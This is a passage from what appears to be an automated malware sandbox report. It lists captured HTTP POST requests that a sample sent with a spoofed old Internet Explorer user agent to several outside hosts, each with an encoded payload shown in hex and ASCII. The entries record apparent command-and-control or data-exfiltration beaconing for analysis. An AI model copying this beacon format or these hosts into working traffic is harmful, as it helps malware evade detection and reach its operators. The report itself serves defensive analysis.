6f 37 4f 68 63 33 79 73 77 52 5a 56 57 36 31 6b 56 78 71 30 2f 49 47 2b 6c 78 38 45 72 6b 39 59 41 56 2f 6a 72 4b 46 49 51 59 67 50 6f 44 65 51 6a 44 78 66 52 37 43 75 4c 33 77 6a 69 65 4b 55 38 42 55 57 59 5a 6d 7a 30 4c 4c 31 50 6d 54 73 6d 66 56 75 65 7a 31 4c 32 49 67 3d 3d Data Ascii: YDKHbN/0QRFjURVBPjwgTmj2ovm1Wli1g5qxiZMcmc1No8MN+swn3cCdQ+oMd+QlCuhm+eYJ6Jht/GAv+RpgJtXr1GIimPSJdPp92qOC47GYr7mYxBFKOFP0BkhVCN4skrnvY3P/mlgvbkWrQDVebtnhTLrUXcVcc4GVQRcNHx9T0j44PMg5HOIFmBVAyfzPViOkbPgBmqhedZBSQlHMT9XVOaZEngZf9fNyB9wo5pMpmzI7hTuiJYiTJ5jAJ4z1n8Gk1vesy5XgWd3JesF0cZpGoNjBp4RS8CHXVA3IOqJdKQ4YLad9OE0sNeaALTgFRodOXdFyfA6MgCnu4fH2LrC7tXYtqKqUPrQPmQz7myWZPlvjFSJZFGDbVFHyYb9wdFQ3+bqtHJprgSV5zFWFAeUepHXvSrEMFSqWY5B4qU2+pWvPYaF9rj7wXE8vZ9VULQxo7Ohc3yswRZVW61kVxq0/IG+lx8Erk9YAV/jrKFIQYgPoDeQjDxfR7CuL3wjieKU8BUWYZmz0LL1PmTsmfVuez1L2Ig==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 72 57 49 70 73 43 6b 6e 52 42 48 75 4e 53 63 62 2b 45 61 41 46 30 4b 39 57 47 76 48 4d 37 43 35 62 53 52 4b 35 63 44 67 7a 34 71 62 77 71 79 73 34 64 58 35 2f 77 56 67 49 72 6c 63 7a 6d 33 45 63 2f 33 4a 70 7a 34 39 65 33 62 6b 56 2f 71 2f 31 48 43 32 34 4d 30 51 4f 6a 75 62 73 4a 6e 75 52 78 4f 79 53 34 53 78 63 38 4c 4a 4d 6e 56 67 78 37 38 67 58 6a 67 46 44 44 4c 47 50 6d 33 6b 62 6c 4b 4f 47 79 59 55 54 52 74 67 54 35 5a 6f 36 70 42 63 62 6d 41 59 63 64 39 75 54 50 47 64 64 6f 66 70 55 52 49 48 4c 4b 73 75 39 78 45 44 76 50 65 46 35 67 41 6b 32 44 4d 68 78 72 6c 32 65 6f 30 51 37 77 39 44 69 2f 44 56 77 54 63 56 70 6a 67 62 4a 63 54 39 74 6a 54 46 66 74 6a 63 66 36 38 53 7a 59 65 79 35 6c 47 6f 77 5a 56 77 74 37 59 38 2f 67 51 32 39 4c 4f 59 64 69 42 39 5a 70 51 65 71 36 61 41 48 66 45 49 70 38 69 6e 43 67 79 49 30 57 33 74 55 66 49 62 39 4a 63 46 4c 2b 2b 52 4a 63 30 73 78 6e 63 5a 58 37 72 39 52 4d 75 4c 4a 77 32 4e 47 56 70 68 67 6a 45 52 70 6c 2b 74 2b 33 54 41 53 57 34 55 79 48 76 76 6b 53 35 70 39 4e 75 43 6b 58 34 70 57 30 38 58 65 42 68 38 51 62 69 57 2b 59 55 6b 76 43 37 77 79 76 76 5a 78 4e 74 78 43 72 54 52 38 2b 32 67 34 4f 47 67 72 47 57 71 66 41 2b 43 6e 37 52 64 50 67 4b 59 6d 52 64 77 6e 73 6e 56 57 7a 6a 54 4b 5a 2b 67 4f 56 6e 66 48 48 58 7a 42 50 42 31 36 38 46 45 32 77 6f 74 63 64 37 46 36 39 38 37 71 4f 5a 43 51 4e 33 2f 71 6d 2b 7a 38 34 69 6d 57 64 56 43 43 76 37 4b 71 6d 39 43 64 7a 4e 4a 50 70 67 49 50 33 65 6b 62 7a 68 76 75 5a 2f 77 56 47 43 4b 62 5a 63 37 67 74 6e 54 34 70 57 71 33 59 41 59 78 2b 54 33 62 64 66 76 57 70 46 4d 75 70 73 6c 61 30 44 51 2f 71 45 2b 2f 68 69 68 4b 41 3d 3d Data Ascii: rWIpsCknRBHuNScb+EaAF0K9WGvHM7C5bSRK5cDgz4qbwqys4dX5/wVgIrlczm3Ec/3Jpz49e3bkV/q/1HC24M0QOjubsJnuRxOyS4Sxc8LJMnVgx78gXjgFDDLGPm3kblKOGyYUTRtgT5Zo6pBcbmAYcd9uTPGddofpURIHLKsu9xEDvPeF5gAk2DMhxrl2eo0Q7w9Di/DVwTcVpjgbJcT9tjTFftjcf68SzYey5lGowZVwt7Y8/gQ29LOYdiB9ZpQeq6aAHfEIp8inCgyI0W3tUfIb9JcFL++RJc0sxncZX7r9RMuLJw2NGVphgjERpl+t+3TASW4UyHvvkS5p9NuCkX4pW08XeBh8QbiW+YUkvC7wyvvZxNtxCrTR8+2g4OGgrGWqfA+Cn7RdPgKYmRdwnsnVWzjTKZ+gOVnfHHXzBPB168FE2wotcd7F6987qOZCQN3/qm+z84imWdVCCv7Kqm9CdzNJPpgIP3ekbzhvuZ/wVGCKbZc7gtnT4pWq3YAYx+T3bdfvWpFMupsla0DQ/qE+/hihKA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yocinc.orgCache-Control: no-cacheData Raw: 43 2f 6c 44 4d 70 75 7a 7a 31 73 36 63 62 38 7a 73 74 53 74 4d 59 52 73 34 62 34 68 35 75 65 4b 2f 30 37 78 62 51 4a 4f 6e 35 4a 34 2b 63 43 6d 38 77 77 77 35 48 6c 43 39 49 63 36 42 4e 38 52 6d 76 78 31 45 77 69 32 53 6e 73 45 72 59 48 36 6c 70 43 55 63 6d 37 65 63 36 59 45 4a 4d 36 78 43 38 4f 39 4c 61 42 53 69 68 56 79 50 46 4e 61 69 6e 43 50 48 4b 51 6b 48 67 34 54 67 71 2f 6d 36 61 30 6a 6f 41 2f 73 62 4a 6b 4b 36 46 45 63 6b 53 68 70 72 45 74 72 44 4a 52 37 62 76 2f 6c 49 6b 76 57 61 48 4f 68 65 36 53 48 38 4b 32 4e 2b 35 71 45 50 4f 42 4c 73 75 35 48 34 42 45 41 42 38 32 6f 45 63 79 41 57 74 57 67 56 46 6c 43 36 73 4d 52 47 46 5a 57 6a 62 46 6f 35 67 53 71 51 56 6a 6c 67 6a 52 66 69 55 62 5a 6e 74 68 6f 4e 36 6a 56 4f 4d 56 7a 6c 6f 30 54 74 6a 6c 41 2b 33 64 6d 2b 34 76 41 32 75 37 42 42 33 5a 4a 6a 59 75 39 72 70 6c 55 7a 34 36 4b 69 6e 2b 61 57 7a 74 43 48 58 67 2b 53 5a 76 62 69 76 70 59 32 56 33 65 72 46 56 72 59 58 62 34 5a 58 77 65 50 39 48 66 32 36 30 35 64 2b 6d 33 6b 2f 73 56 45 54 4d 79 61 48 35 58 33 70 72 31 73 74 61 59 62 6e 4f 44 63 67 30 58 49 49 59 61 6a 39 42 52 57 42 6e 30 45 53 52 65 6b 51 58 34 50 4b 53 64 36 76 67 4f 39 32 70 43 30 4c 67 44 4e 4d 58 61 61 4b 67 64 77 49 58 77 32 68 44 4e 48 69 6c 6a 4d 31 30 71 2b 66 72 38 72 6e 4a 62 75 41 4d 4f 6f 56 4d 76 70 62 51 32 75 49 30 55 42 66 4a 76 42 38 77 65 75 77 66 59 7a 79 51 76 54 49 6a 43 35 73 65 67 76 56 46 53 79 35 6d 50 6c 59 48 34 78 6a 72 30 47 45 45 68 63 6f 50 43 74 53 54 36 41 68 62 4a 31 74 70 74 4f 71 39 38 52 59 74 33 47 61 68 61 36 4a 4b 69 59 2b 38 6c 33 67 6e 71 63 43 45 59 35 67 66 6e 54 5a 37 34 59 43 53 37 33 46 79 58 35 64 55 54 6c 2b 6a 34 7a 5a 52 7a Data Ascii: C/lDMpuzz1s6cb8zstStMYRs4b4h5ueK/07xbQJOn5J4+cCm8www5HlC9Ic6BN8Rmvx1Ewi2SnsErYH6lpCUcm7ec6YEJM6xC8O9LaBSihVyPFNainCPHKQkHg4Tgq/m6a0joA/sbJkK6FEckShprEtrDJR7bv/lIkvWaHOhe6SH8K2N+5qEPOBLsu5H4BEAB82oEcyAWtWgVFlC6sMRGFZWjbFo5gSqQVjlgjRfiUbZnthoN6jVOMVzlo0TtjlA+3dm+4vA2u7BB3ZJjYu9rplUz46Kin+aWztCHXg+SZvbivpY2V3erFVrYXb4ZXweP9Hf2605d+m3k/sVETMyaH5X3pr1staYbnODcg0XIIYaj9BRWBn0ESRekQX4PKSd6vgO92pC0LgDNMXaaKgdwIXw2hDNHiljM10q+fr8rnJbuAMOoVMvpbQ2uI0UBfJvB8weuwfYzyQvTIjC5segvVFSy5mPlYH4xjr0GEEhcoPCtST6AhbJ1tptOq98RYt3Gaha6JKiY+8l3gnqcCEY5gfnTZ74YCS73FyX5dUTl+j4zZRz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pwd.orgCache-Control: no-cacheData Raw: 73 75 39 37 65 63 2b 77 53 68 45 64 59 4b 69 63 62 6d 66 6a 49 39 68 48 63 63 39 6c 6e 54 53 35 63 2b 57 70 74 44 70 4b 4c 43 56 75 6f 33 69 6b 51 6e 55 59 2f 63 54 6f 34 76 76 71 4e 34 62 7a 61 68 6f 31 4f 7a 6a 4a 30 57 75 78 48 79 58 74 57 79 6d 42 56 4a 53 38 66 45 74 33 42 45 47 79 55 79 39 57 35 58 68 6a 47 65 4c 34 51 2b 42 4e 31 76 34 57 44 6f 63 53 49 4b 49 66 33 65 2f 64 57 41 69 4b 64 6c 47 6e 4c 41 37 56 46 30 62 7a 71 4e 55 56 71 6d 4c 78 7a 6b 7a 59 62 4f 74 6f 4c 53 4d 56 69 50 32 41 4a 72 34 39 74 65 63 76 73 55 32 50 66 52 73 76 32 50 73 72 50 47 6c 4d 4c 51 67 48 4c 49 39 66 5a 44 64 37 39 44 68 31 51 4e 4e 6a 30 39 67 42 68 38 71 46 75 49 57 75 47 72 52 5a 72 46 75 79 4b 30 67 56 75 4c 50 76 79 50 77 5a 33 75 4a 52 44 32 76 76 46 6a 63 39 79 76 65 66 6e 54 48 6c 44 36 58 6b 42 43 30 50 4f 4f 75 50 7a 6d 64 4d 47 4d 72 64 70 53 5a 50 53 52 6a 67 36 57 35 38 52 70 53 39 46 48 79 32 4b 78 6b 44 7a 37 58 54 42 41 37 45 57 73 49 36 4e 36 43 76 41 4f 43 67 4d 55 38 54 32 73 79 61 4b 73 53 6f 53 31 36 57 39 2f 6b 57 70 6e 4a 65 36 67 6c 67 47 76 44 61 41 54 49 57 71 65 6b 4d 45 77 70 53 76 63 51 54 4c 69 57 57 37 61 75 58 78 4d 4e 59 42 56 35 30 7a 78 51 45 5a 68 4e 54 73 53 47 4f 76 69 4e 67 58 5a 75 47 48 38 31 7a 61 78 32 45 4b 76 32 63 46 64 4a 7a 63 48 71 6a 39 50 4e 52 7a 4e 6c 42 67 72 4f 68 44 41 31 69 53 42 67 61 66 7a 38 62 44 37 68 61 35 46 67 42 66 42 4e 6a 36 70 6c 46 48 4f 6c 55 7a 59 30 71 4e 77 68 4a 70 36 52 43 43 6e 52 62 65 53 61 54 6f 6e 64 48 52 4c 6c 47 4c 53 43 33 2b 64 2f 36 73 69 69 65 79 4e 33 39 46 56 4f 57 50 6d 31 30 32 78 62 54 4e 66 69 43 4c 50 33 34 54 45 70 49 69 72 76 42 30 48 42 6c 45 32 2b 71 34 6f 74 64 66 57 30 6d 6e 4b 53 63 57 5a 53 68 65 4d 51 3d Data Ascii: su97ec+wShEdYKicbmfjI9hHcc9lnTS5c+WptDpKLCVuo3ikQnUY/cTo4vvqN4bzaho1OzjJ0WuxHyXtWymBVJS8fEt3BEGyUy9W5XhjGeL4Q+BN1v4WDocSIKIf3e/dWAiKdlGnLA7VF0bzqNUVqmLxzkzYbOtoLSMViP2AJr49tecvsU2PfRsv2PsrPGlMLQgHLI9fZDd79Dh1QNNj09gBh8qFuIWuGrRZrFuyK0gVuLPvyPwZ3uJRD2vvFjc9yvefnTHlD6XkBC0POOuPzmdMGMrdpSZPSRjg6W58RpS9FHy2KxkDz7XTBA7EWsI6N6CvAOCgMU8T2syaKsSoS16W9/kWpnJe6glgGvDaATIWqekMEwpSvcQTLiWW7auXxMNYBV50zxQEZhNTsSGOviNgXZuGH81zax2EKv2cFdJzcHqj9PNRzNlBgrOhDA1iSBgafz8bD7ha5FgBfBNj6plFHOlUzY0qNwhJp6RCCnRbeSaTondHRLlGLSC3+d/6siieyN39FVOWPm102xbTNfiCLP34TEpIirvB0HBlE2+q4otdfW0mnKScWZSheMQ=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tc17.comCache-Control: no-cacheData Raw: 2b 78 59 66 64 5a 64 77 2b 31 74 4f 61 4e 30 66 68 74 58 4f 46 65 44 43 79 34 37 4e 44 4a 71 42 75 2f 31 62 4c 5a 6b 61 59 38 44 62 42 74 38 58 55 54 68 59 42 4b 72 36 67 6e 68 2f 73 59 74 52 37 58 59 46 78 51 43 2b 33 4b 73 43 6d 2f 74 59 6f 74 50 4d 53 48 50 30 71 7a 32 4d 50 42 65 57 72 46 59 69 71 2b 49 52 6d 39 72 57 49 4e 43 6a 30 62 36 55 47 37 30 6e 77 69 6d 77 52 55 64 66 63 39 56 77 43 70 4f 76 62 44 62 45 73 50 56 73 41 7a 44 6f 61 38 4e 47 50 7a 68 6a 45 53 51 66 30 58 46 69 6c 37 75 6c 74 39 2b 61 4f 6b 41 48 6e 51 6a 77 41 4a 2b 43 67 39 50 37 74 63 6c 54 6b 4f 36 4c 50 4c 52 33 41 55 49 39 55 6f 37 43 72 71 54 6c 72 47 68 54 6e 71 4c 66 38 65 45 32 34 6f 73 48 61 64 42 6d 34 4c 53 63 70 36 6b 66 62 52 35 38 6f 75 64 72 54 54 56 66 77 46 6e 62 35 38 59 4e 76 57 65 55 37 68 4d 72 36 52 6c 33 6c 4b 65 32 57 66 75 50 4b 32 34 34 78 4f 47 6a 42 74 55 33 57 57 75 4e 57 2f 74 42 6e 4c 57 5a 67 76 33 41 38 58 56 78 4a 57 75 41 4c 31 6d 47 6a 71 76 72 63 4e 50 57 57 68 46 76 7a 4f 2f 68 75 4c 41 45 34 63 6a 77 6f 49 61 78 73 30 79 4c 64 43 78 36 5a 63 6d 59 42 58 7a 55 72 73 4b 6b 6c 4c 6e 6c 6c 7a 59 68 4e 51 32 51 2f 52 78 70 32 74 49 67 31 52 47 68 41 7a 51 45 43 4b 42 42 62 44 71 63 6a 73 4a 72 36 42 70 6f 58 6e 62 2f 58 59 44 36 76 45 59 44 64 35 58 62 72 6f 6b 68 63 59 47 34 58 71 4e 67 7a 6d 46 77 36 33 69 75 4c 46 36 44 61 78 52 55 4c 68 38 58 70 41 68 51 44 56 54 78 73 61 2f 6e 6d 7a 77 68 44 74 49 6d 33 50 76 62 77 70 31 55 6e 63 4e 4a 39 78 74 38 51 50 4b 37 44 61 47 44 4e 64 75 45 4a 50 4d 53 61 71 42 4c 6a 72 56 71 47 72 71 4a 64 31 35 73 54 73 78 4b 67 6b 32 69 68 64 6c 6a 4d 2b 4e 42 33 6c 4e 4c 39 6f 73 4c 4d 4f 39 59 41 4d 73 6c 4f 42 7a 48 64 6a 61 4e 69 65 48 2b 68 76 31 6b 33 51 3d 3d Data Ascii: +xYfdZdw+1tOaN0fhtXOFeDCy47NDJqBu/1bLZkaY8DbBt8XUThYBKr6gnh/sYtR7XYFxQC+3KsCm/tYotPMSHP0qz2MPBeWrFYiq+IRm9rWINCj0b6UG70nwimwRUdfc9VwCpOvbDbEsPVsAzDoa8NGPzhjESQf0XFil7ult9+aOkAHnQjwAJ+Cg9P7tclTkO6LPLR3AUI9Uo7CrqTlrGhTnqLf8eE24osHadBm4LScp6kfbR58oudrTTVfwFnb58YNvWeU7hMr6Rl3lKe2WfuPK244xOGjBtU3WWuNW/tBnLWZgv3A8XVxJWuAL1mGjqvrcNPWWhFvzO/huLAE4cjwoIaxs0yLdCx6ZcmYBXzUrsKklLnllzYhNQ2Q/Rxp2tIg1RGhAzQECKBBbDqcjsJr6BpoXnb/XYD6vEYDd5XbrokhcYG4XqNgzmFw63iuLF6DaxRULh8XpAhQDVTxsa/nmzwhDtIm3Pvbwp1UncNJ9xt8QPK7DaGDNduEJPMSaqBLjrVqGrqJd15sTsxKgk2ihdljM+NB3lNL9osLMO9YAMslOBzHdjaNieH+hv1k3Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.transsib.comCache-Control: no-cacheData Raw: 42 36 6d 4f 68 65 42 47 68 52 47 6e 48 72 6c 33 4d 38 78 51 4a 68 4e 78 78 46 35 49 6e 77 4f 50 46 44 78 4b 4f 76 30 34 64 31 39 6e 42 59 53 64 45 36 66 63 52 62 67 6d 6e 34 61 42 61 62 57 61 5a 4f 68 5a 4b 59 6c 4b 53 33 64 30 68 6f 68 50 37 6b 46 72 75 50 79 71 58 74 43 54 36 48 67 71 6e 75 78 30 72 32 7a 50 30 45 59 35 33 67 48 66 59 73 65 2b 6e 76 6d 66 42 53 6c 34 42 32 68 4a 42 2b 2f 46 35 7a 6b 4d 6a 45 4d 6e 61 55 54 37 45 2f 4e 74 39 56 47 33 4d 61 58 75 32 47 34 38 7a 63 49 65 52 74 4c 6f 34 69 66 30 46 49 70 67 52 6d 30 4f 35 46 62 30 65 35 4d 75 4f 43 73 48 48 6d 4a 33 6e 34 4d 39 53 36 33 77 6a 64 66 42 39 79 4b 50 4a 73 69 69 4e 47 39 6b 53 59 58 33 62 51 48 30 74 53 2b 79 5a 53 6d 35 55 39 6b 75 61 6f 77 4a 66 70 4b 68 2b 54 6e 2b 6e 46 55 6d 57 47 2b 44 6c 74 7a 61 7a 51 49 31 44 63 4c 58 49 5a 6a 70 54 37 52 54 4e 37 67 6f 6c 4c 4b 54 62 78 69 51 69 31 4f 2f 41 30 43 70 71 47 35 34 35 7a 61 36 44 31 62 65 2b 41 50 54 59 35 37 55 42 53 6f 37 31 37 6b 46 59 79 75 56 73 36 74 43 49 78 58 55 42 77 64 4b 57 65 77 52 4c 43 4b 53 47 34 65 55 55 46 53 2b 55 4f 66 49 56 2b 4f 5a 34 73 2f 51 4d 4e 4d 35 4e 76 61 48 2b 42 30 58 37 46 61 52 5a 71 45 55 30 47 6b 6d 2b 52 38 77 4a 46 46 38 62 46 4b 72 6e 34 66 56 56 6b 38 43 46 68 71 68 4f 72 35 63 4a 46 67 52 42 66 72 33 35 52 74 76 41 31 74 44 6d 45 46 4e 55 39 50 74 42 5a 50 71 36 77 33 79 58 6b 2b 6f 34 31 70 59 39 74 68 49 2f 38 4e 62 57 32 36 77 61 2f 47 4c 35 78 74 30 2f 49 65 31 46 5a 79 2f 6c 58 2f 59 4c 63 56 39 69 51 4d 6a 6b 7a 33 36 30 59 77 52 50 79 4b 70 30 30 53 54 55 42 56 6c 65 65 66 72 55 46 54 38 6f 41 3d 3d Data Ascii: B6mOheBGhRGnHrl3M8xQJhNxxF5InwOPFDxKOv04d19nBYSdE6fcRbgmn4aBabWaZOhZKYlKS3d0hohP7kFruPyqXtCT6Hgqnux0r2zP0EY53gHfYse+nvmfBSl4B2hJB+/F5zkMjEMnaUT7E/Nt9VG3MaXu2G48zcIeRtLo4if0FIpgRm0O5Fb0e5MuOCsHHmJ3n4M9S63wjdfB9yKPJsiiNG9kSYX3bQH0tS+yZSm5U9kuaowJfpKh+Tn+nFUmWG+DltzazQI1DcLXIZjpT7RTN7golLKTbxiQi1O/A0CpqG545za6D1be+APTY57UBSo717kFYyuVs6tCIxXUBwdKWewRLCKSG4eUUFS+UOfIV+OZ4s/QMNM5NvaH+B0X7FaRZqEU0Gkm+R8wJFF8bFKrn4fVVk8CFhqhOr5cJFgRBfr35RtvA1tDmEFNU9PtBZPq6w3yXk+o41pY9thI/8NbW26wa/GL5xt0/Ie1FZy/lX/YLcV9iQMjkz360YwRPyKp00STUBVleefrUFT8oA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.com-sit.comCache-Control: no-cacheData Raw: 59 53 6b 76 61 4b 31 53 68 42 47 34 70 79 52 77 70 42 54 39 36 32 62 72 4f 41 61 62 76 32 41 46 4d 65 5a 4c 4a 6e 68 4e 45 33 47 65 78 34 53 6e 6d 31 58 74 58 52 46 33 4d 76 65 52 6e 47 54 78 67 31 64 6e 72 43 2f 33 78 39 50 6e 51 55 65 2b 75 34 6a 66 68 59 45 6f 6e 64 45 79 41 62 4d 6e 30 31 62 2b 69 70 78 54 2f 79 64 57 44 72 6b 73 5a 72 6a 6c 6f 34 45 59 30 72 6f 5a 38 6e 68 6e 35 58 6d 46 54 35 4a 6e 66 6a 44 32 54 70 74 61 50 7a 51 75 44 53 49 41 64 76 47 74 79 56 2f 7a 73 50 78 37 73 6a 48 67 52 62 6c 49 2b 79 2f 4a 71 6d 46 48 61 66 57 69 2f 74 6e 57 2b 4d 46 43 77 75 33 73 6e 36 37 6c 47 64 4c 63 66 75 79 78 75 30 4c 49 79 62 68 70 46 45 51 75 31 6b 6d 61 32 77 35 67 34 77 6e 6a 73 31 57 32 71 59 52 66 77 43 48 63 57 6e 59 4a 4e 36 6e 6c 57 6b 6a 33 4e 52 41 4b 42 57 30 4a 2f 4d 58 36 70 70 4f 6a 2b 66 49 71 63 43 78 75 31 72 56 4d 39 47 71 44 2b 6f 48 52 54 67 62 6d 32 35 36 4e 69 70 4a 6c 57 4f 4e 45 42 6a 42 48 6b 58 32 42 41 77 76 63 2b 38 31 71 33 68 30 34 31 58 50 63 6f 64 6e 59 55 41 51 65 38 50 65 61 55 79 69 71 73 50 49 4a 45 70 6a 49 43 72 2f 76 2b 76 5a 39 53 57 30 49 47 45 46 6b 57 31 65 43 62 54 67 6e 71 58 34 66 30 76 32 65 78 56 49 2b 4c 5a 4b 48 6f 41 63 32 51 6f 33 32 46 52 37 71 4a 66 6a 68 55 34 43 6e 34 33 38 7a 34 7a 4c 53 47 61 50 33 6b 6e 42 48 79 37 4c 37 42 65 61 6b 62 62 54 4b 34 79 4e 66 43 69 6f 33 31 31 44 4c 70 34 64 4c 64 64 51 59 53 65 2f 70 44 46 73 67 4e 44 4b 55 46 6a 77 61 76 37 7a 72 46 4e 6e 7a 56 6d 5a 33 30 78 44 4b 73 46 57 35 7a 57 43 37 65 37 30 2f 73 48 35 63 61 50 72 58 6b 58 57 6b 42 62 6c 66 76 41 69 46 6a 76 46 51 32 6e 62 76 37 41 3d 3d Data Ascii: YSkvaK1ShBG4pyRwpBT962brOAabv2AFMeZLJnhNE3Gex4Snm1XtXRF3MveRnGTxg1dnrC/3x9PnQUe+u4jfhYEondEyAbMn01b+ipxT/ydWDrksZrjlo4EY0roZ8nhn5XmFT5JnfjD2TptaPzQuDSIAdvGtyV/zsPx7sjHgRblI+y/JqmFHafWi/tnW+MFCwu3sn67lGdLcfuyxu0LIybhpFEQu1kma2w5g4wnjs1W2qYRfwCHcWnYJN6nlWkj3NRAKBW0J/MX6ppOj+fIqcCxu1rVM9GqD+oHRTgbm256NipJlWONEBjBHkX2BAwvc+81q3h041XPcodnYUAQe8PeaUyiqsPIJEpjICr/v+vZ9SW0IGEFkW1eCbTgnqX4f0v2exVI+LZKHoAc2Qo32FR7qJfjhU4Cn438z4zLSGaP3knBHy7L7BeakbbTK4yNfCio311DLp4dLddQYSe/pDFsgNDKUFjwav7zrFNnzVmZ30xDKsFW5zWC7e70/sH5caPrXkXWkBblfvAiFjvFQ2nbv7A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yocinc.orgCache-Control: no-cacheData Raw: 6b 54 6d 4d 47 76 47 39 6d 68 45 36 58 45 2b 6e 45 4a 36 42 56 55 6f 72 63 72 59 76 68 67 45 46 74 66 76 73 68 41 32 68 38 52 6b 43 6e 47 36 39 77 5a 64 36 67 68 44 74 6a 43 53 31 48 6f 64 64 75 57 69 37 5a 77 2f 71 6a 76 39 77 64 5a 61 36 44 2b 68 64 64 66 53 6c 56 46 6e 52 73 58 36 4f 32 35 41 47 4a 75 39 72 4d 6b 6c 37 4e 73 4d 7a 68 4a 2f 66 59 45 30 4b 53 48 33 37 67 43 74 50 41 45 70 47 2b 49 59 36 51 39 2f 50 43 57 4a 36 46 68 6b 62 41 4b 52 68 39 47 49 35 46 48 66 32 55 77 31 63 76 79 43 75 68 79 53 4c 39 6d 6d 71 5a 49 74 4c 74 36 77 6d 37 43 73 57 42 4d 38 64 69 79 42 61 41 33 56 71 48 36 75 43 74 54 6d 57 31 75 49 4a 35 69 6b 58 4b 37 42 78 37 66 46 49 69 2f 2f 33 51 57 50 65 47 2f 56 54 72 65 56 65 57 5a 59 32 77 62 4c 4f 35 4b 69 51 61 75 74 2f 46 6a 57 52 51 43 67 79 6d 39 4b 62 37 71 6e 58 49 4f 53 58 51 2b 72 77 6b 79 4a 38 2f 74 7a 56 7a 6f 38 44 6f 41 4e 31 68 6d 71 69 43 38 2b 61 39 37 6c 6c 6b 4d 79 41 44 79 78 57 52 7a 6c 6d 77 45 45 75 7a 73 66 4d 58 6b 70 4e 4e 79 79 56 76 4f 58 6a 33 75 64 7a 45 74 33 45 4f 69 44 4e 43 75 38 39 65 66 4b 4f 58 79 42 46 41 63 48 64 56 34 41 51 56 6d 44 70 36 75 48 4b 56 69 32 41 31 58 59 78 45 32 76 53 45 53 49 56 74 42 6c 34 79 6f 76 6d 67 50 56 43 7a 4b 6a 42 57 48 63 35 2f 62 52 50 73 64 55 6d 59 61 67 38 61 44 43 4b 49 4f 68 32 34 59 38 41 50 65 31 50 78 71 70 48 42 62 36 4b 37 33 57 39 59 32 4f 41 2b 44 4b 47 37 4d 45 71 63 6f 45 65 75 56 69 45 45 45 64 47 2b 61 52 65 39 4b 37 4c 67 65 5a 4c 77 48 64 39 6e 61 5a 35 42 48 4e 35 2b 71 49 4e 66 2b 75 56 44 5a 72 67 78 67 4e 57 36 76 74 41 4d 67 34 61 6c 30 76 70 4e 2f 44 56 46 4e 45 6b 69 31 55 47 58 38 79 33 4b 39 79 6b 65 6d 61 41 70 58 4c 4d 6d 7a 6c 53 76 77 3d 3d Data Ascii: kTmMGvG9mhE6XE+nEJ6BVUorcrYvhgEFtfvshA2h8RkCnG69wZd6ghDtjCS1HodduWi7Zw/qjv9wdZa6D+hddfSlVFnRsX6O25AGJu9rMkl7NsMzhJ/fYE0KSH37gCtPAEpG+IY6Q9/PCWJ6FhkbAKRh9GI5FHf2Uw1cvyCuhySL9mmqZItLt6wm7CsWBM8diyBaA3VqH6uCtTmW1uIJ5ikXK7Bx7fFIi//3QWPeG/VTreVeWZY2wbLO5KiQaut/FjWRQCgym9Kb7qnXIOSXQ+rwkyJ8/tzVzo8DoAN1hmqiC8+a97llkMyADyxWRzlmwEEuzsfMXkpNNyyVvOXj3udzEt3EOiDNCu89efKOXyBFAcHdV4AQVmDp6uHKVi2A1XYxE2vSESIVtBl4yovmgPVCzKjBWHc5/bRPsdUmYag8aDCKIOh24Y8APe1PxqpHBb6K73W9Y2OA+DKG7MEqcoEeuViEEEdG+aRe9K7LgeZLwHd9naZ5BHN5+qINf+uVDZrgxgNW6vtAMg4al0vpN/DVFNEki1UGX8y3K9ykemaApXLMmzlSvw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.rs-ag.comCache-Control: no-cacheData Raw: 48 38 4b 67 55 53 49 43 31 52 41 42 4d 46 70 49 6c 5a 74 72 4b 36 58 4c 49 6e 61 79 34 49 37 4a 64 70 4b 65 6e 50 79 36 6c 69 4a 73 4f 2b 76 5a 59 55 41 71 58 4f 4e 45 46 4d 30 69 66 52 49 42 74 32 30 4f 72 6f 51 39 30 72 72 37 4b 61 54 7a 61 51 61 62 66 2b 50 42 67 5a 56 38 79 71 4e 6c 47 6d 4d 76 2f 34 47 4c 36 67 76 69 56 73 5a 2b 73 52 63 56 70 7a 41 44 52 6f 2f 67 45 57 49 57 41 2b 43 65 43 61 4c 79 39 34 61 6a 63 35 72 57 57 66 68 33 78 78 6c 71 72 52 35 66 48 45 61 34 74 41 71 2f 39 39 41 30 77 6c 66 43 4d 53 73 67 56 4e 57 4b 73 47 49 47 79 52 51 79 7a 78 6c 75 5a 42 32 4c 72 56 6a 32 52 69 2f 4e 73 72 52 63 6a 44 4a 6d 7a 6e 75 61 6d 58 67 6b 51 77 30 59 4e 35 6a 39 6b 61 4c 54 66 2f 37 68 57 31 47 73 52 6c 36 7a 39 48 53 59 2b 6f 64 6e 43 33 76 73 69 52 4d 79 45 4f 79 4e 71 4f 64 4a 66 74 2b 4f 55 